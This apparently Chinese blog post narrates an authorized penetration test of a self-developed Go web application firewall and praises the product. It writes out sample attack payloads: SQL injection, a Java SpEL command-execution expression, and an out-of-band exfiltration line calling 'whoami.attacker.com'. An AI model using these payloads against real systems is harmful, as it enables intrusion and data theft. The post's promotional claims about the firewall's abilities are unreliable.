渗透测试实录:手搓7层嵌套混淆,结果被纯Go自研WAF直接物理断网了

作为一名搞安全的老兵,平时在隔离环境里测评各种安全设备是家常便饭。最近拿到一款纯 Go 语言编写的自研 WAF(盾甲)的测试授权。为了彻底摸清它的底细,我决定丢掉那些自动化扫描工具,直接纯手搓 Payload,来一场高强度的红蓝对抗压测。

测试环境与基线
测试环境部署在本地虚拟机(NAT 网络模式),确保是真实的 TCP/IP 请求链路。
大家知道,传统 WAF 极大概率被绕过,因为要么受限于正则特征库,要么受限于 AST 语法解析引擎(遇到畸形包直接报错放行)。

攻防第一回合:常规注入与降维打击
最开始是常规的 1' or 1=1--,系统直接打满 100 分秒拦截。为了上强度,我直接祭出了“万国牌”混淆:双重 URL 编码(%25 套娃) + HTML 实体编码 + 全角字符伪装(把 union 变成 uNion)。

这段 Payload 在传统 WAF 里大概率会解析崩溃。但它的后台日志显示,底层做了极深度的归一化处理(NFKC 降维)。引擎没有被乱码骗过,把嵌套编码还原成了真实的 SQL 语义,精准判定为 SQLI_UNION。

攻防第二回合:0day语法与OOB外带
既然传统注入防住了,就上点真家伙。
我构造了经典的 Java SpEL 表达式注入载荷:T(java.lang.Runtime).getRuntime().exec(...)。这种不存在于传统正则库里的新语法,被它的多假设语义图(USG)直接捕捉到了危险数据流向(Source-to-Sink),再次阻断。
接着,我尝试了高阶红队常用的 OOB(无回显命令外带):cmd=ping whoami.attacker.com。这种靠流量外带的手法,依然被它的污点追踪引擎斩断。

攻防高潮:算力熔断与物理拔线
连续打出高危 Payload 后,我发了一个包含 JNDI 注入和极多层嵌套的复合炸弹包。
这一次,我没有等来定制化的 403 页面,浏览器直接返回了 Nginx 的 502 Bad Gateway。
更离谱的是,我试图通过 SSH 连上去看日志,终端直接卡死在:Timed out while waiting for handshake。连宝塔面板都彻底失联。

复盘:为什么会被物理断网?
这种内核级熔断机制让我极其震撼。当遇到极端复杂的算力炸弹包时,WAF 为了保护后端业务,不仅切断了 HTTP 响应,还直接调用了底层的 iptables / ipset 机制,对攻击源 IP 实施了内核级的物理封禁。

对于搞安全的人来说,这种不依赖规则库、靠底模和语义推演防 0day,且敢于“直接拔网线”的网关,绝对是目前对抗 APT 攻击的顶级形态。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容